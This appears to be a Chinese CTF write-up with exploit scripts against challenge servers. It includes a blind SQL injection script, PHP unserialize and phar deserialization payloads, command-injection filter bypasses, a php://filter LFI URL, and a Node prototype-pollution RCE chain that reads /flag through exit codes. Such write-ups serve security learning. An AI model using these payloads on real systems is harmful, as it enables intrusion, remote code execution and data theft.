Crypto
Bivibivi
from pwn import *
r=remote("218.197.154.9",16387)
r.recvline()
po = r.recvline()
import re
nums_str = re.findall("\d+",po)
nums=[]
for i in nums_str:
nums.append(int(i))
ans=0
for i in range(10000):
if (i*nums[0]+nums[1] )%nums[3] == nums[2]%nums[3]:
ans=i
break
r.recvuntil("x :")
r.sendline(str(ans))
r.recvline()
r.recvline()
r.recvline()
r.recvline()
r.recvline()
r.recvline()
# r.interactive()
table='fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF'
tr={}
for i in range(58):
tr[table[i]]=i
s=[11,10,3,8,4,6]
xor=177451812
add=8728348608
def dec(x):
r=0
for i in range(6):
r+=tr[x[s[i]]]*58**i
return (r-add)^xor
def enc(x):
x=(x^xor)+add
r=list('BV1 4 1 7 ')
for i in range(6):
r[s[i]]=table[x//58**i%58]
return ''.join(r)
for i in range(5):
avid = int(r.recvline())
r.sendline(enc(avid))
r.recvline()
r.recvline()
r.recvline()
while 1:
bvid = r.recvline().strip()
if bvid[0:2]!="BV":
break
r.sendline(str(dec(bvid)))
r.interactive()
Web
Easy_sqli
裸的布尔盲注
闲的蛋疼自己搓了个注入脚本玩玩
import requests
import string
import copy
payload = {
"user": "asdasd\\",
"pass": " || if(ascii(mid((SELECT_STATEMENT),CHAR_OFFSET,1))=ASCII_CHAR,1,0) || 'a'='asdads"
}
payload2 = {
"user": "asdasd\\",
"pass": " || if(ascii(mid((SELECT_STATEMENT),CHAR_OFFSET,1))>ASCII_CHAR,1,0) || 'a'='asdads"
}
def test_if_true(sql, char, offset):
url = "http://218.197.154.9:10011/login.php"
p = copy.deepcopy(payload)
p["pass"] = p["pass"].replace("SELECT_STATEMENT", sql).replace("CHAR_OFFSET", str(offset)).replace("ASCII_CHAR", str(ord(char)))
r=requests.post(url, data=p)
if "Login success" in r.text:
return True
return False
def test_if_greater(sql, char, offset):
url = "http://218.197.154.9:10011/login.php"
p = copy.deepcopy(payload2)
p["pass"] = p["pass"].replace("SELECT_STATEMENT", sql).replace("CHAR_OFFSET", str(offset)).replace("ASCII_CHAR", str(ord(char)))
r=requests.post(url, data=p)
if "Login success" in r.text:
return True
return False
while 1:
# sql = input()
# sql = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'f1ag_y0u_wi1l_n3ver_kn0w'"
sql = "select concat_ws(',',f111114g) from f1ag_y0u_wi1l_n3ver_kn0w"
if "select" in sql:
sql = sql.replace("select", "seselectlect")
if "or" in sql:
sql = sql.replace("or", "oorr")
if "from" in sql:
sql = sql.replace("from", "frfromom")
if "where" in sql:
sql = sql.replace("where", "whwhereere")
offset = 1
res = ""
while 1:
l=0
r=255
while l<r:
mid = int((l+r)/2)
result = test_if_true(sql, chr(mid), offset)
if result:
res+=chr(mid)
print(res)
offset+=1
break
else:
if test_if_greater(sql, chr(mid), offset):
l=mid+1
else:
r=mid
ezphp
审代码
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('会代码审计嘛23333');
}
//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'pggnb', '12345');
$b = strtr($md5_2, 'pggnb', '12345');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}
//3nd
function filter($string){
return preg_replace('/x/', 'yy', $string);
}
$username = $_POST['username'];
$password = "aaaaa";
$user = array($username, $password);
$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}
第一个后面加\n
第二个爆破,会把b替换成5,所以找个0e+纯数字的和0e+纯数字+b的
脚本
import hashlib
def md5(s):
return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()
for i in range(1,99999999):
flag = 1
j = md5(str(i))
if j[0:2] == '0e':
for z in j[2:]:
if z not in "0123456789b":
flag = 0
break
if flag == 1:
print "------------------md5("+str(i)+")="+j
break
第三个反序列化逃逸
$username = 'axxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}';
$password = "aaaaa";
ezcmd
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("no space!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("no flag");
} else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
die("cat't read flag");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
highlight_file(__FILE__);
?>
命令注入
过滤了一堆
空格用$IFS
555忘了当时咋做了,好像是利用ping的输出传给bash…..
后面再补
ezinclude
裸的文件包含
稍微脑洞一下有个file参数
http://218.197.154.9:10017/thankyou.php?file=php://filter/convert.base64-encode/resource=flag.php
Easy_unserialize
打开是个上传
发现这个玩意
http://218.197.154.9:10010/?acti0n=upload
lfi获取源码
class View
{
public $dir;
private $cmd;
function __construct()
{
$this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
$this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
if(!is_dir($this->dir)) {
mkdir($this->dir, 0777, true);
}
}
function get_file_list() {
$file = scandir('.');
return $file;
}
function show_file_list() {
$file = $this->get_file_list();
for ($i = 2; $i < sizeof($file); $i++) {
echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."] $file[$i] </p>";
}
}
function show_img($file_name) {
$name = $file_name;
$width = getimagesize($name)[0];
$height = getimagesize($name)[1];
$times = $width / 200;
$width /= $times;
$height /= $times;
$template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
echo $template;
}
function delete_img($file_name) {
$name = $file_name;
if (file_exists($name)) {
@unlink($name);
if(!file_exists($name)) {
echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
header("refresh:3;url=view.php");
} else {
echo "Can not delete!";
exit;
}
} else {
echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
}
}
function __destruct() {
eval($this->cmd);
}
}
有个类,那显然就是phar反序列化了
exp
$exp=new View();
echo serialize($exp);
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exp);
$phar->stopBuffering();
把生成的vul.phar传上去然后
POST /view.php
show=phar://vul.phar&cmd=phpinfo&args=0
HappyGame
神仙题目
node审计
拿到源码
首先merge有问题,可以原型污染
试了下{"score": {"constructor":{"prototype":{"__proto__":{"asd":"blabla"}}}}}
即可污染
然后unserialize的时候for xxx in obj
就可以控制传入eval的东西
eval过滤了一大堆
const validCode = function (func_code){
let validInput = /process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
return !validInput.test(func_code);
};
const validInput = function (input){
// filter bad input
let validInput = /process|child_process|main|require|exec|this|function/ig;
ins = serialize(input);
return !validInput.test(ins);
};
QAQ后来看了WP才知道可以直接绕,
Buffer.constructor(Buffer.from(`72657475726e2070726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428276368696c645f70726f6365737327292e6578656353796e6328276c73202f27292e746f537472696e672829`, `he\\x78`))()
这里用了个玄学方法,没去绕过滤
注意到题目import了opn模块,看下是啥
发现可以直接运行命令
但是拿不到输出,测了半天不出网
于是看了看node的child_process.spawn
,只需要xxx.on('data',(r)=>{写东西})
但是有个问题,opn是async,所以会返回一个Promise,但是父函数不是async没法await,本地测了一下没法一次带外,可以先on data那里写进本地某个变量,第二个payload再把banner替换掉
看下opn源码发现windows没啥问题,linux返回的childprocess的 被关了。。。透
如果上面options.wait为真,下面返回的就是once('close')
之后的subprocess,此时subprocess已关闭,拿不到输出。
如果把options.wait写成假,上面就会把childProcessOptions.stdio
设成ignore
,还是拿不到输出。。。
emmm好像搞不了
再仔细看一下,发现on error的时候会返回一个状态码
如果exitCode
不是0,就把exitCode返回。
这个时候reject就可以catch一下然后把banner改掉了
a=Array();
a.push(`bash`);
a.push(`-c`);
var out=Array();
var sp=opn(`echo BASE64_HERE | /usr/bin/bas?64 -d > /tmp/naivekun;a=$(cat /tmp/naivekun);exit $a`,
{app:a,wait:true}
);
sp.catch((j)=>{
console.log(j);
logs.aaaac=j.toString();
console.log(`FUCK`);
});
obj.banner=`fuckyou`;
emmm,这个状态码是命令执行可控的
做个测试
whoami;exit 66
echo $?
可以得到66
所以数据可以这么带外
- 执行命令,设法获取输出,依次把每一位转化成0-255的ascii码,然后exit
- 把exit的值on error带出来
- 把带出来的值给写道某个全局变量里面
- 第二次把这个全局变量替换成banner输出
这样一次带一位出来,从而获得完整的执行命令的值
首先测下有啥东西
找不到东西会返回exit code 127
跑炸了会出个1还是啥,测了下,python有。所以
payload0 = "python -c \"import subprocess;a=subprocess.check_output(['cat','/flag']);print int(ord(a[OFFSET]))\""
命令过滤了一堆可以echo xxx | bas?64 -d | bash
exp
import requests
import base64
import re
import time
import sys
payload0 = "python -c \"import subprocess;a=subprocess.check_output(['cat','/flag']);print int(ord(a[OFFSET]))\""
payload1 = r'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{a=Array();a.push(`bash`);a.push(`-c`);var out=Array();var sp=opn(`echo BASE64_HERE | /usr/bin/bas?64 -d > /tmp/naivekun;a=$(cat /tmp/naivekun);exit $a`,{app:a,wait:true});sp.catch((j)=>{console.log(j);logs.aaaac=j.toString();console.log(`FUCK`);});obj.banner=`fuckyou`;return `asd`})()","wait":"_$$ND_FUNC$$_(()=>{})"}}},"length":1}}'
payload2 = r'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{a=Array();a.push(`bash`);a.push(`-c`);var out=Array();var sp=opn(`a=$(bash /tmp/naivekun);exit $a`,{app:a,wait:true});sp.catch((j)=>{console.log(j);logs.aaaac=j.toString();console.log(`FUCK`);});obj.banner=`fuckyou`;return `asd`})()","wait":"_$$ND_FUNC$$_(()=>{})"}}},"length":1}}'
payload3 = r'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{obj.banner=logs.aaaac})()","wait":"_$$ND_FUNC$$_(()=>{})"}}},"length":1}}'
url="http://218.197.154.9:10001/record"
headers = {
"Content-Type": "application/json"
}
for i in range(1000):
p0 = payload0.replace("OFFSET",str(i))
# print(p0)
p1 = payload1.replace("BASE64_HERE", base64.b64encode(bytes(p0,'utf-8')).decode('utf-8'))
# print(p1)
r=requests.post(url,data=p1, headers=headers)
time.sleep(0.2)
r=requests.post(url, data=payload2, headers=headers)
time.sleep(0.2)
r=requests.post(url, data=payload3, headers=headers)
time.sleep(0.2)
# print(r.text)
code = re.findall("code (\d+)",r.text)
# print(code)
print(chr(int(code[0])),end="")
sys.stdout.flush()
resolve需要时间,中间最好sleep一下
一位一位猜出来了,比盲注快XD
Misc
懒得写了23333